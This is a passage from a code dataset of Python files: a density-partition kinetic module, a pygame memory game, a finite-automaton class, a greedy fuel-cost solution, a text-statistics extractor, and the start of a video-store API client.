homos and pick the largest\n for i in range(self.Nmo_a.shape[0]):\n for j in range(self.Nmo_a.shape[1]):\n if self.KSa.solver[i,j].homo is not None:\n homos_a.append(self.KSa.solver[i,j].homo)\n if self.KSb.solver[i,j].homo is not None:\n homos_b.append(self.KSb.solver[i,j].homo)\n \n u = max((max(homos_a), max(homos_b)))\n nspin = self.pol - 1\n\n if self.optPartition[\"ENS_SPIN_SYM\"]:\n u = max([u])\n nspin = 0\n\n self.KSa.V.vt = np.ones((self.grid.Nelem, 1)) * u - self.KSa.veff\n self.KSb.V.vt = np.ones((self.grid.Nelem, 1)) * u - self.KSb.veff\n\n for ispin in range(nspin+1):\n ntarget = self.nf[:, ispin]\n if self.pol == 2:\n ntarget = 2 * ntarget\n\n phi0, e0, vs0 = self.initialguessinvert(ispin)\n\n #Invert molecular problem:\n _, self.inversion_info = self.inverter.invert(ntarget, vs0, phi0, e0, ispin)\n\n # if self.optPartition[\"ENS_SPIN_SYM\"] is True:\n # Resolution for making solver/vs/us double with ENS_SPIN_SYM\n # Is directly solved within initialguessinvert\n\n #Calculate the functional derivative \n #Of the molecualr kinetic energy via euler equation\n\n self.V.vt = self.inverter.get_vt()\n\n elif self.optPartition[\"kinetic_part_type\"] == \"none\":\n\n #Neglect the non-additive kinetic energy\n self.V.vt = np.zeros_like(self.nf)\n\n for i_KS in [self.KSa, self.KSb]:\n i_KS.V.vt = np.zeros_like(i_KS.n)\n\n elif self.optPartition[\"kinetic_part_type\"] == \"twoorbital\":\n \n n1 = self.na_frac\n n2 = self.nb_frac\n eT = 0.5 * self.grid.elap\n\n #Evaluate kinetic energy for integer occupation\n\n for i_KS in [self.KSa, self.KSb]:\n\n i_KS.V.vt = (eT @ i_KS.n ** 0.5) / (2 * self.grid.w @ i_KS.n**0.5)\n\n C = self.grid.integrate( (n1**0.5 - n2**0.5)**2 )\n phi1 = (n1**0.5 - n2**0.5) / C**0.5 \n phi2 = ((n1 + n2)/2 - phi1**2)**0.5\n\n raise ValueError(\"Two orbital method not available\")\n\n elif self.optPartition[\"kinetic_part_type\"] == \"fixed\":\n pass\n\n else:\n raise ValueError(\"Kinetic energy functional not recognized\")\n\n\n if self.optPartition[\"kinetic_part_type\"] != \"fixed\":\n #Calculate the vp contribution\n for i_KS in [self.KSa, self.KSb]:\n i_KS.V.vp_kin = (self.V.vt - i_KS.V.vt)\n #Remove nans\n i_KS.V.vp_kin[np.isnan(i_KS.V.vp_kin)] = 0.5 \n\n elif self.optPartition[\"kinetic_part_type\"] == \"twoorbital\":\n raise ValueError(\"Two orbital method not yet implemented\")\n\n","sub_path":"CADMium/partition/vp_kinetic.py","file_name":"vp_kinetic.py","file_ext":"py","file_size_in_byte":4394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"247838591","text":"import random, pygame, sys\nfrom pygame.locals import *\n\nFPS = 30\nWINDOWWIDTH = 640\nWINDOWHEIGHT = 480\nREVEALSPEED = 8\nBOXSIZE = 40\nGAPSIZE = 10\nBOARDWIDTH = 10\nBOARDHEIGHT = 7\nassert(BOARDWIDTH * BOARDHEIGHT) % 2 == 0, 'Board must contain even number of boxes'\nXMARGIN = int((WINDOWWIDTH - (BOARDWIDTH * (BOXSIZE +GAPSIZE))))\nYMARGIN = int((WINDOWHEIGHT - (BOARDHEIGHT * ( BOXSIZE + GAPSIZE))))\n\n#COLOURS\nGRAY = (100, 100, 100)\nNAVY_BLUE = (60, 60, 100)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\nYELLOW = (255, 255, 0)\nCYAN = (0, 255, 255)\nPURPLE = (255, 0, 255)\nORANGE = (255, 128, 0)\n\nBGCOLOR = WHITE\nLIGHTBGCOLOR = GRAY\nBOXCOLOR = GRAY\nHIGHLIGHTCOLOR = BLUE\n\nDONUT = 'donut'\nSQUARE = 'square'\nDIAMOND = 'diamond'\nLINES = 'lines'\nOVAL = 'oval'\n\nALLCOLORS = (RED, GREEN, BLUE, YELLOW, CYAN, PURPLE, ORANGE)\nALLSHAPES = (DONUT, SQUARE, DIAMOND, LINES, OVAL)\nassert len(ALLCOLORS) * len(ALLSHAPES) * 2 >= BOARDWIDTH * BOARDHEIGHT, \"Board is too big for the no of the shapes/ colour defined\"\n\ndef main():\n global FPSCLOCK, DISPLAYSURF\n pygame.init()\n FPSCLOCK = pygame.time.Clock()\n DISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT))\n mousex = 0\n mousey = 0\n pygame.display.set_caption('Memory Game')\n\n main_board = get_randomized_board()\n revealed_boxes = generate_revealed_boxes(False)\n\n first_selection = None\n\n DISPLAYSURF.fill(BGCOLOR)\n start_game_animation(main_board)\n\n while True:\n mouse_clicked = False\n\n DISPLAYSURF.fill(BGCOLOR)\n draw_board(main_board, revealed_boxes)\n\n for event in pygame.event.get():\n if event.type == QUIT or (event.type == KEYUP and event.type == K_ESCAPE):\n pygame.quit()\n sys.exit()\n elif event.type == MOUSEMOTION:\n mousex, mousey = event.pos\n elif event.type == MOUSEBUTTONUP:\n mousex, mousey = event.pos\n mouse_clicked = True\n\n boxx, boxy = get_box_at_pixel(mousex, mousey)\n if boxx != None and boxy != None:\n if not revealed_boxes[boxx][boxy]:\n draw_highlight_box(boxx, boxy)\n if not revealed_boxes[boxx][boxy] and mouse_clicked:\n reveal_boxes_animation(main_board, [(boxx, boxy)])\n revealed_boxes[boxx][boxy] = True\n if first_selection == None:\n first_selection = [boxx, boxy]\n else:\n icon1_shape, icon1_color = get_shape_and_color(main_board, first_selection[0], first_selection[1])\n icon2_shape, icon2_color = get_shape_and_color(main_board, boxx, boxy)\n\n if icon1_shape != icon2_shape or icon1_color != icon2_color:\n pygame.time.wait(1000)\n cover_boxes_animation(main_board, [(first_selection[0], first_selection[1]), (boxx, boxy)])\n revealed_boxes[first_selection[0]][first_selection[1]] = False\n revealed_boxes[boxx][boxy] = False\n elif has_won(revealed_boxes):\n game_won_animation(main_board)\n pygame.time.wait(2000)\n main_board = get_randomized_board()\n revealed_boxes = generate_revealed_boxes(False)\n\n draw_board(main_board, revealed_boxes)\n pygame.display.update()\n pygame.time.wait(500)\n\n start_game_animation(main_board)\n first_selection = None\n pygame.display.update()\n FPSCLOCK.tick(FPS)\n\ndef has_won(revealed_boxes):\n for i in revealed_boxes:\n if False in i:\n return False\n return True\n\ndef game_won_animation(board):\n covered_boxes = generate_revealed_boxes(True)\n color1 = LIGHTBGCOLOR\n color2 = BGCOLOR\n for i in range(13):\n color1, color2 = color2, color1\n DISPLAYSURF.fill(color1)\n draw_board(board, covered_boxes)\n pygame.display.update()\n pygame.time.wait(300)\n\ndef draw_highlight_box(boxx, boxy):\n left, top = left_top_coords(boxx, boxy)\n pygame.draw.rect(DISPLAYSURF, HIGHLIGHTCOLOR, (left - 5, top - 5, BOXSIZE + 10, BOXSIZE + 10), 4)\n\ndef get_box_at_pixel(mousex, mousey):\n for x in range(BOARDWIDTH):\n for y in range(BOARDHEIGHT):\n left, top = left_top_coords(x,y)\n box_rect = pygame.Rect(left, top, BOXSIZE, BOXSIZE)\n if box_rect.collidepoint(mousex, mousey):\n return (x,y)\n return (None, None)\n\ndef start_game_animation(board):\n covered_boxes = generate_revealed_boxes(False)\n boxes = []\n for x in range(BOARDWIDTH):\n for y in range(BOARDHEIGHT):\n boxes.append((x,y))\n\n random.shuffle(boxes)\n box_groups = split_into_groups_of(8, boxes)\n\n draw_board(board, covered_boxes)\n for box in box_groups:\n reveal_boxes_animation(board, box)\n cover_boxes_animation(board, box)\n\ndef draw_board(board, revealed):\n for boxx in range(BOARDWIDTH):\n for boxy in range(BOARDHEIGHT):\n left, top = left_top_coords(boxx, boxy)\n if not revealed[boxx][boxy]:\n pygame.draw.rect(DISPLAYSURF, BOXCOLOR, (left, top, BOXSIZE, BOXSIZE))\n else:\n shape, color = get_shape_and_color(board, boxx, boxy)\n draw_icon(shape, color, boxx, boxy)\n\ndef draw_icon(shape, color, boxx, boxy):\n quarter = int (BOXSIZE * 0.25)\n half = int(BOXSIZE * 0.5)\n\n left, top = left_top_coords(boxx, boxy)\n if shape == DONUT:\n pygame.draw.circle(DISPLAYSURF, color, (left + half, top+half), half-5)\n pygame.draw.circle(DISPLAYSURF, color, (left + half, top+half), quarter-5)\n elif shape == SQUARE:\n pygame.draw.rect(DISPLAYSURF, color, (left+quarter, top+quarter, BOXSIZE-half, BOXSIZE-half))\n elif shape == DIAMOND:\n pygame.draw.polygon(DISPLAYSURF, color, ((left + half , top), (left + BOXSIZE - 1, top + half),\n (left + half, top + BOXSIZE -1), (left, top + half)))\n elif shape == LINES:\n for i in range(0, BOXSIZE, 4):\n pygame.draw.line(DISPLAYSURF, color, (left, top + i), (left + i, top))\n pygame.draw.line(DISPLAYSURF, color, (left + i, top + BOXSIZE -1), (left + BOXSIZE -1, top + i))\n elif shape == OVAL:\n pygame.draw.ellipse(DISPLAYSURF, color, (left, top + quarter, BOXSIZE, half))\n\ndef split_into_groups_of(size, box_list):\n result = []\n for i in range(0, len(box_list), size):\n result.append(box_list[i:i+size])\n return result\n\ndef cover_boxes_animation(board, box):\n for x in range(0, BOXSIZE + REVEALSPEED, REVEALSPEED):\n draw_box_covers(board, box, x)\n\ndef reveal_boxes_animation(board, box):\n for x in range(BOXSIZE, (-REVEALSPEED) -1, -REVEALSPEED):\n draw_box_covers(board, box, x)\n\ndef draw_box_covers(board, boxes, x):\n for box in boxes:\n left, top = left_top_coords(box[0], box[1])\n pygame.draw.rect(DISPLAYSURF, BGCOLOR, (left, top, BOXSIZE, BOXSIZE))\n shape, color = get_shape_and_color(board, box[0], box[1])\n draw_icon(shape, color, box[0], box[1])\n if x > 0:\n pygame.draw.rect(DISPLAYSURF, BOXCOLOR, (left, top, x, BOXSIZE))\n pygame.display.update()\n FPSCLOCK.tick(FPS)\n\ndef left_top_coords(boxx, boxy):\n left = boxx * (BOXSIZE + GAPSIZE) + XMARGIN\n top = boxy * (BOXSIZE + GAPSIZE) + YMARGIN\n return left, top\n\ndef get_shape_and_color(board, boxx, boxy):\n return board[boxx][boxy][0], board[boxx][boxy][1]\n\ndef generate_revealed_boxes(val):\n revealed_boxes = []\n for i in range(BOARDWIDTH):\n revealed_boxes.append([val]*BOARDHEIGHT)\n return revealed_boxes\n\ndef get_randomized_board():\n icons = []\n for colours in ALLCOLORS:\n for shape in ALLSHAPES:\n icons.append((shape, colours))\n\n random.shuffle(icons)\n no_icons_used = int (BOARDWIDTH * BOARDHEIGHT / 2)\n icons = icons[:no_icons_used] * 2\n random.shuffle(icons)\n\n board = []\n for x in range(BOARDWIDTH):\n col = []\n for y in range(BOARDHEIGHT):\n col.append(icons[0])\n del icons[0]\n board.append(col)\n return board\n\nif __name__ == '__main__':\n main()\n","sub_path":"memory_game.py","file_name":"memory_game.py","file_ext":"py","file_size_in_byte":8385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"240184620","text":"\"\"\"\nRepresentation of a deterministic finite automaton\n\"\"\"\n\nfrom typing import AbstractSet, Iterable\nfrom collections import deque\n\nimport numpy as np\n\nfrom .state import State\nfrom .symbol import Symbol\nfrom .transition_function import TransitionFunction\nfrom .nondeterministic_finite_automaton import NondeterministicFiniteAutomaton\nfrom .epsilon_nfa import to_single_state\nfrom .finite_automaton import to_state, to_symbol\nfrom .distinguishable_states import DistinguishableStates\nfrom .partition import Partition\nfrom .hopcroft_processing_list import HopcroftProcessingList\n\n\nclass PreviousTransitions(object):\n\n def __init__(self, states, symbols):\n self._to_index_state = dict()\n self._to_index_state[None] = 0\n for i, state in enumerate(states):\n self._to_index_state[state] = i + 1\n self._to_index_symbol = dict()\n for i, symbol in enumerate(symbols):\n self._to_index_symbol[symbol] = i\n self._conversion = np.empty((len(states) + 1, len(symbols)), dtype=object)\n\n def add(self, next0, symbol, state):\n i_next0 = self._to_index_state[next0]\n i_symbol = self._to_index_symbol[symbol]\n if self._conversion[i_next0, i_symbol] is None:\n self._conversion[i_next0, i_symbol] = [state]\n else:\n self._conversion[i_next0, i_symbol].append(state)\n\n def get(self, next0, symbol):\n i_next0 = self._to_index_state[next0]\n i_symbol = self._to_index_symbol[symbol]\n return self._conversion[i_next0, i_symbol] or []\n\n\nclass DeterministicFiniteAutomaton(NondeterministicFiniteAutomaton):\n \"\"\" Represents a deterministic finite automaton\n\n This class represents a deterministic finite automaton.\n\n Parameters\n ----------\n states : set of :class:`~pyformlang.finite_automaton.State`, optional\n A finite set of states\n input_symbols : set of :class:`~pyformlang.finite_automaton.Symbol`, optional\n A finite set of input symbols\n transition_function : :class:`~pyformlang.finite_automaton.TransitionFunction`, optional\n Takes as arguments a state and an input symbol and returns a state.\n start_state : :class:`~pyformlang.finite_automaton.State`, optional\n A start state, element of states\n final_states : set of :class:`~pyformlang.finite_automaton.State`, optional\n A set of final or accepting states. It is a subset of states.\n\n \"\"\"\n\n # pylint: disable=too-many-arguments\n def __init__(self,\n states: AbstractSet[State] = None,\n input_symbols: AbstractSet[Symbol] = None,\n transition_function: TransitionFunction = None,\n start_state: State = None,\n final_states: AbstractSet[State] = None):\n super().__init__(states, input_symbols, None, None, final_states)\n start_state = to_state(start_state)\n self._transition_function = transition_function or TransitionFunction()\n if start_state is not None:\n self._start_state = {start_state}\n else:\n self._start_state = {}\n if start_state is not None:\n self._states.add(start_state)\n\n def add_start_state(self, state: State) -> int:\n \"\"\" Set an initial state\n\n Parameters\n -----------\n state : :class:`~pyformlang.finite_automaton.State`\n The new initial state\n\n Returns\n ----------\n done : int\n 1 is correctly added\n \"\"\"\n state = to_state(state)\n self._start_state = {state}\n self._states.add(state)\n return 1\n\n def remove_start_state(self, state: State) -> int:\n \"\"\" remove an initial state\n\n Parameters\n -----------\n state : :class:`~pyformlang.finite_automaton.State`\n The new initial state\n\n Returns\n ----------\n done : int\n 1 is correctly added\n \"\"\"\n state = to_state(state)\n if {state} == self._start_state:\n self._start_state = {}\n return 1\n return 0\n\n def accepts(self, word: Iterable[Symbol]) -> bool:\n \"\"\" Checks whether the dfa accepts a given word\n\n Parameters\n ----------\n word : iterable of :class:`~pyformlang.finite_automaton.Symbol`\n A sequence of input symbols\n\n Returns\n ----------\n is_accepted : bool\n Whether the word is accepted or not\n \"\"\"\n word = [to_symbol(x) for x in word]\n current_state = None\n if self._start_state:\n current_state = list(self._start_state)[0]\n for symbol in word:\n if current_state is None:\n return False\n current_state = self._transition_function(current_state, symbol)\n if current_state:\n current_state = current_state[0]\n else:\n current_state = None\n return current_state is not None and self.is_final_state(current_state)\n\n def is_deterministic(self) -> bool:\n \"\"\" Checks whether an automaton is deterministic\n\n Returns\n ----------\n is_deterministic : bool\n Whether the automaton is deterministic\n \"\"\"\n return True\n\n def to_deterministic(self) -> \"DeterministicFiniteAutomaton\":\n \"\"\" Transforms the nfa into a dfa\n\n Returns\n ----------\n dfa : :class:`~pyformlang.deterministic_finite_automaton.DeterministicFiniteAutomaton`\n A dfa equivalent to the current nfa\n \"\"\"\n return self\n\n def copy(self) -> \"DeterministicFiniteAutomaton\":\n \"\"\" Copies the current DFA\n\n Returns\n ----------\n enfa : :class:`~pyformlang.finite_automaton.DeterministicFiniteAutomaton`\n A copy of the current DFA\n \"\"\"\n dfa = DeterministicFiniteAutomaton()\n if self._start_state:\n dfa.add_start_state(list(self._start_state)[0])\n for final in self._final_states:\n dfa.add_final_state(final)\n for state in self._states:\n for symbol in self._input_symbols:\n state_to = self._transition_function(state, symbol)\n if state_to:\n state_to = state_to[0]\n else:\n state_to = None\n if state_to is not None:\n dfa.add_transition(state, symbol, state_to)\n return dfa\n\n def _get_distinguishable_states(self):\n \"\"\" Get all the pair of states which are distinguishable\n\n Returns\n ----------\n states : set of (:class:`~pyformlang.finite_automaton.State`,\\\n :class:`~pyformlang.finite_automaton.State`)\n The pair of distinguishable\n \"\"\"\n disting = DistinguishableStates(len(self._states))\n to_process = self._initialize_distinguishable_states_to_process(disting)\n previous_transitions = self._get_previous_transitions()\n append = to_process.append\n not_contains_and_add = disting.not_contains_and_add\n get = previous_transitions.get\n symbols = self._input_symbols\n pop = to_process.pop\n while to_process:\n next0, next1 = pop()\n for symbol in symbols:\n next_states0 = get(next0, symbol)\n next_states1 = get(next1, symbol)\n for state0 in next_states0:\n for state1 in next_states1:\n state_combined = (state0, state1)\n if not_contains_and_add(state_combined):\n append(state_combined)\n return disting\n\n def _initialize_distinguishable_states_to_process(self, disting):\n to_process = deque()\n for final in self._final_states:\n for state in self._states:\n if state not in self._final_states:\n disting.add((final, state))\n to_process.append((final, state))\n disting.add((None, final))\n to_process.append((None, final))\n return to_process\n\n def _get_previous_transitions(self):\n previous_transitions = PreviousTransitions(self._states, self._input_symbols)\n for state in self._states:\n for symbol in self._input_symbols:\n next0 = self._transition_function(state, symbol)\n if next0:\n next0 = next0[0]\n else:\n next0 = None\n previous_transitions.add(next0, symbol, state)\n for symbol in self._input_symbols:\n previous_transitions.add(None, symbol, None)\n return previous_transitions\n\n def _get_reachable_states(self) -> AbstractSet[State]:\n \"\"\" Get all states which are reachable \"\"\"\n to_process = []\n processed = set()\n for state in self._start_state:\n to_process.append(state)\n processed.add(state)\n while to_process:\n current = to_process.pop()\n for symbol in self._input_symbols:\n next_state = self._transition_function(current, symbol)\n if not next_state or next_state[0] in processed:\n continue\n to_process.append(next_state[0])\n processed.add(next_state[0])\n return processed\n\n def minimize(self) -> \"DeterministicFiniteAutomaton\":\n \"\"\" Minimize the current DFA\n\n Returns\n ----------\n dfa : :class:`~pyformlang.deterministic_finite_automaton.DeterministicFiniteAutomaton`\n The minimal DFA\n \"\"\"\n if not self._start_state or not self._final_states:\n return DeterministicFiniteAutomaton()\n # Remove unreachable\n reachables = self._get_reachable_states()\n states = self._states.intersection(reachables)\n # Group the equivalent states\n partition = self._get_partition()\n groups = partition.get_groups()\n # Create a state for this\n to_new_states = dict()\n for group in groups:\n new_state = to_single_state(group)\n for state in group:\n to_new_states[state] = new_state\n # Build the DFA\n dfa = DeterministicFiniteAutomaton()\n for state in self._start_state:\n dfa.add_start_state(to_new_states[state])\n for state in states:\n if state in self._final_states:\n dfa.add_final_state(to_new_states[state])\n done = set()\n new_state = to_new_states[state]\n for symbol in self._input_symbols:\n for next_node in self._transition_function(state, symbol):\n if next_node in states:\n next_node = to_new_states[next_node]\n if (next_node, symbol) not in done:\n dfa.add_transition(new_state, symbol, next_node)\n done.add((next_node, symbol))\n return dfa\n\n def _get_partition(self):\n previous_transitions = self._get_previous_transitions()\n finals = []\n non_finals = []\n for state in self._states:\n if state in self._final_states:\n finals.append(state)\n else:\n non_finals.append(state)\n # None is the trash node\n non_finals.append(None)\n # + 1 for trash node\n partition = Partition(len(self._states) + 1)\n partition.add_class(finals)\n partition.add_class(non_finals)\n # + 1 for trash node\n processing_list = HopcroftProcessingList(len(self._states) + 1, self._input_symbols)\n to_add = 0 # 0 is the index of finals, 1 of non_finals\n if len(non_finals) < len(finals):\n to_add = 1\n for symbol in self._input_symbols:\n processing_list.insert(to_add, symbol)\n while not processing_list.is_empty():\n current_class, current_symbol = processing_list.pop()\n inverse = []\n for element in partition.part[current_class]:\n inverse += previous_transitions.get(element.value, current_symbol)\n for valid_set in partition.get_valid_sets(inverse):\n new_class = partition.split(valid_set, inverse)\n for symbol in self._input_symbols:\n if processing_list.contains(valid_set, symbol):\n processing_list.insert(new_class, symbol)\n elif len(partition.part[valid_set]) < len(partition.part[valid_set]):\n processing_list.insert(valid_set, symbol)\n else:\n processing_list.insert(new_class, symbol)\n return partition\n\n def is_equivalent_to(self, other):\n \"\"\" Check whether two automata are equivalent\n\n Parameters\n ----------\n other : :class:`~pyformlang.deterministic_finite_automaton.FiniteAutomaton`\n A sequence of input symbols\n\n Returns\n ----------\n are_equivalent : bool\n Whether the two automata are equivalent or not\n \"\"\"\n if not isinstance(other, DeterministicFiniteAutomaton):\n other_dfa = other.to_deterministic()\n return self.is_equivalent_to(other_dfa)\n self_minimal = self.minimize()\n other_minimal = other.minimize()\n return self._is_equivalent_to_minimal(self_minimal, other_minimal)\n\n @property\n def start_state(self) -> State:\n return list(self._start_state)[0]\n\n @staticmethod\n def _is_equivalent_to_minimal(self_minimal, other_minimal):\n to_process = [(self_minimal.start_state,\n other_minimal.start_state)]\n matches = {self_minimal.start_state: other_minimal.start_state}\n while to_process:\n current_self, current_other = to_process.pop()\n if (self_minimal.is_final_state(current_self) and not other_minimal.is_final_state(current_other)) or\\\n (not self_minimal.is_final_state(current_self) and other_minimal.is_final_state(current_other)):\n return False\n next_self = self_minimal(current_self)\n next_other = other_minimal(current_other)\n if len(next_self) != len(next_other):\n return False\n if len(next_self) == 0:\n continue\n next_symbol_self, next_state_self = list(next_self)[0]\n next_symbol_other, next_state_other = list(next_other)[0]\n if next_symbol_other != next_symbol_self:\n return False\n if next_state_self in matches:\n if matches[next_state_self] != next_state_other:\n return False\n else:\n matches[next_state_self] = next_state_other\n to_process.append((next_state_self, next_state_other))\n return True\n\n\ndef get_groups(states, distinguishable) -> Iterable[AbstractSet[State]]:\n \"\"\" Get the groups in the minimization \"\"\"\n groups = []\n were_grouped = set()\n states = list(states)\n for state0, state1 in distinguishable.get_non_distinguishable():\n were_grouped.add(state0)\n were_grouped.add(state1)\n new_groups = [{state0, state1}]\n for group in groups:\n if state0 in group or state1 in group:\n new_groups[0] = new_groups[0].union(group)\n else:\n new_groups.append(group)\n groups = new_groups\n return (groups, were_grouped)\n","sub_path":"pyformlang/finite_automaton/deterministic_finite_automaton.py","file_name":"deterministic_finite_automaton.py","file_ext":"py","file_size_in_byte":15600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"370180878","text":"# 로직은 맞는것 같은데 계속 17점이 나와서 수정함..\r\n# 아래처럼..\r\n\r\n#cityCount = int(input()); # 도시의 개수\r\n#distance = input().split(); #도로의 길이\r\n#cityList = input().split(); #리터당 가격\r\n\r\n#city_min = cityList[0]; # 첫번째는 무조건 필요\r\n#answer = 0;\r\n#for i in range(cityCount-1): # 마지막도 필요없으니까 -1\r\n# if city_min > cityList[i]: # 가장 싼곳에서 사야 이들\r\n# city_min = cityList[i];\r\n# answer += (int(city_min) * int(distance[i]));\r\n \r\n#print(answer);\r\n\r\n#################################################\r\n# 처음 받을때 값을 int 로 받아야 하는듯.. 아마 비교할때 문제가 되는것 같은데\r\n#정확하게 모르겠음 \r\ncityCount = int(input()) # 도시의 개수\r\ndistance = list(map(int, input().split())) #도로의 길이\r\ncityList = list(map(int, input().split())) #리터당 가격\r\n\r\ncity_min = cityList[0] # 첫번째는 무조건 필요\r\nanswer = 0\r\nfor i in range(cityCount-1):# 마지막도 필요없으니까 -1\r\n if city_min > cityList[i]: # 가장 싼곳에서 사야 이들\r\n city_min = cityList[i]\r\n answer += (city_min * distance[i])\r\n \r\nprint(answer)","sub_path":"SH/sh_13305.py","file_name":"sh_13305.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"5665522","text":"import nltk\nfrom datetime import datetime\nfrom nltk_data.stop_words_data.stop_word_processing import get_stop_words\nfrom string import whitespace\nfrom collections import Counter\nfrom langdetect import detect\n\n\ndef avg(a, b):\n return a / b if b != 0 else 0\n\n\nclass SimpleMetricsCallback(object):\n sent_detector = nltk.tokenize.punkt.PunktSentenceTokenizer()\n\n def timedelta(self, creation_time):\n \"\"\" return days between the article publication\n and the dataset acquisition.\"\"\"\n creation = datetime.strptime(creation_time[:19], '%Y-%m-%d %H:%M:%S')\n now = datetime.utcnow()\n delta = now - creation\n return delta.days\n\n @staticmethod\n def n_symbols(text, ignore_spaces=False):\n if ignore_spaces:\n return len([c for c in text if c not in whitespace])\n else:\n return len(text)\n\n @staticmethod\n def n_syllables(words):\n count = 0\n vowels = 'aeiouy'\n\n for word in words:\n if word[0] in vowels:\n count += 1\n for i in range(1, len(word)):\n if word[i] in vowels and word[i-1] not in vowels:\n count += 1\n if word.endswith('e'):\n count -= 1\n\n return count\n\n def n_sentences(self, text):\n return len(self.sent_detector.tokenize(text.strip()))\n\n @staticmethod\n def most_common_words(words, count=5):\n words = Counter(words)\n most_common = words.most_common(count)\n if most_common:\n return ', '.join('\"{}\": {}'.format(k, v) for k, v in most_common)\n else:\n return '-'\n\n def __call__(self, text):\n if text == \"\":\n return (\n ('n_symbols', 0),\n ('n_symbols_no_space', 0),\n ('n_syllables', 0),\n ('n_sentences', 0),\n ('n_tokens_content', 0),\n ('n_unique_tokens', 0),\n ('n_non_stop_words', 0),\n ('n_non_stop_unique_tokens', 0),\n ('average_sentence_length', 0),\n ('average_token_length', 0),\n ('average_token_length_syllables', 0),\n ('most_common_non_stop_words', 0),\n )\n\n try:\n text_lang = detect(text)\n except Exception as e:\n text_lang = 'en'\n\n n_symbols = self.n_symbols(text)\n n_symbols_no_space = self.n_symbols(text, ignore_spaces=True)\n n_sentences = self.n_sentences(text)\n words = [w for w in nltk.tokenize.word_tokenize(text) if w.isalpha()]\n\n if text_lang == 'de':\n self.stop_words = get_stop_words('de')\n else:\n # english stopwords by default\n self.stop_words = get_stop_words('en')\n\n non_stop_words = [word for word in words if word not in self.stop_words]\n n_syllables = self.n_syllables(words)\n\n return (\n ('n_symbols', n_symbols),\n ('n_symbols_no_space', n_symbols_no_space),\n ('n_syllables', n_syllables),\n ('n_sentences', n_sentences),\n ('n_tokens_content', len(words)),\n ('n_unique_tokens', len(set(words))),\n ('n_non_stop_words', len(non_stop_words)),\n ('n_non_stop_unique_tokens', len(set(non_stop_words))),\n ('average_sentence_length', avg(len(words), n_sentences)),\n ('average_token_length', avg(sum([len(word) for word in words]), len(words))),\n ('average_token_length_syllables', avg(n_syllables, len(words))),\n ('most_common_non_stop_words', self.most_common_words(non_stop_words)),\n )\n","sub_path":"parameters_extractor/metrics/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"587507092","text":"from flask import json\nimport requests\nfrom requests.api import request\n\nURL = \"http://127.0.0.1:5000\"\nBACKUP_URL = \"https://retro-video-store-api.herokuapp.com\"\n\n\n'''\n =============================================\n HELPER PRINTS\n =============================================\n'''\n\ndef bar_break():\n print(\"\\n==========================\\n\")\n\ndef list_options_ee():\n options = {\n \"1\" : \"Add Video to Store Stock\",\n \"2\" : \"Edit Video Info\",\n \"3\" : \"Remove Video From Inventory\",\n \"4\" : \"View Current Store Stock\",\n \"5\" : \"View Video Info\",\n \"6\" : \"Add New Customer\",\n \"7\" : \"Edit Existing Customer\",\n \"8\" : \"Delete Existing Customer\",\n \"9\" : \"View Existing Customer Records\",\n \"10\" : \"View All Existing Customers\",\n \"11\" : \"Check Out\",\n \"12\" : \"Check In\"\n }\n\n bar_break()\n print(\"Here are your available options:\\n\")\n for choice in options:\n print(f\"Option {choice}. {options[choice]}\")\n\n bar_break()\n\n return options\n\ndef list_options_cust():\n options = {\n\n }\n pass\n\n'''\n =============================================\n EMPLOYEE OPTION FUNCTIONS\n =============================================\n'''\n\ndef add_video():\n print(\"Enter video info below:\")\n request_body = {}\n request_body[\"title\"] = input(\"Title: \")\n request_body[\"release_date\"] = input(\"Release date: \")\n request_body[\"total_inventory\"] = input(\"Total inventory: \")\n\n response = requests.post(URL +\"/videos\", json=request_body)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef edit_video():\n print(\"Enter updated video info below:\")\n request_body = {}\n video_id = input(\"Video ID: \")\n request_body[\"title\"] = input(\"Title: \")\n request_body[\"release_date\"] = input(\"Release date: \")\n request_body[\"total_inventory\"] = input(\"Total inventory: \")\n\n response = requests.put(URL +\"/videos/\" +video_id, json=request_body)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef remove_video():\n print(\"DELETE VIDEO - THIS ACTION CANNOT BE UNDONE\")\n if input(\"Are you sure? Y/N \") != \"Y\":\n print(\"ACTION CANCELLED\")\n return\n \n video_id = input(\"Video ID: \")\n response = requests.delete(URL +\"/videos/\" +video_id)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef view_video_stock():\n print(\"All Videos in Store Stock:\")\n response = requests.get(URL +\"/videos\")\n print(json.dumps(response.json(), indent=2))\n return\n\ndef view_single_video():\n print(\"Video Info Request:\")\n video_id = input(\"Video ID: \")\n response = requests.get(URL +\"/videos/\" +video_id)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef add_customer():\n print(\"Enter customer info below:\")\n request_body = {}\n request_body[\"name\"] = input(\"Name: \")\n request_body[\"phone\"] = input(\"Phone number: \")\n request_body[\"postal_code\"] = input(\"Postal code: \")\n\n response = requests.post(URL +\"/customers\", json=request_body)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef edit_customer():\n print(\"Enter updated customer info below:\")\n request_body = {}\n customer_id = input(\"Customer ID: \")\n request_body[\"name\"] = input(\"Name: \")\n request_body[\"phone\"] = input(\"Phone number: \")\n request_body[\"postal_code\"] = input(\"Postal code: \")\n \n response = requests.put(URL +\"/customers/\" +customer_id, json=request_body)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef delete_customer():\n print(\"DELETE CUSTOMER - THIS ACTION CANNOT BE UNDONE\")\n if input(\"Are you sure? Y/N \") != \"Y\":\n print(\"ACTION CANCELLED\")\n return\n \n customer_id = input(\"Customer ID: \")\n response = requests.delete(URL +\"/customers/\" +customer_id)\n print(json.dumps(response.json(), indent=1))\n return\n\ndef view_customer():\n print(\"Customer Info Request:\")\n customer_id = input(\"Customer ID: \")\n response = requests.get(URL 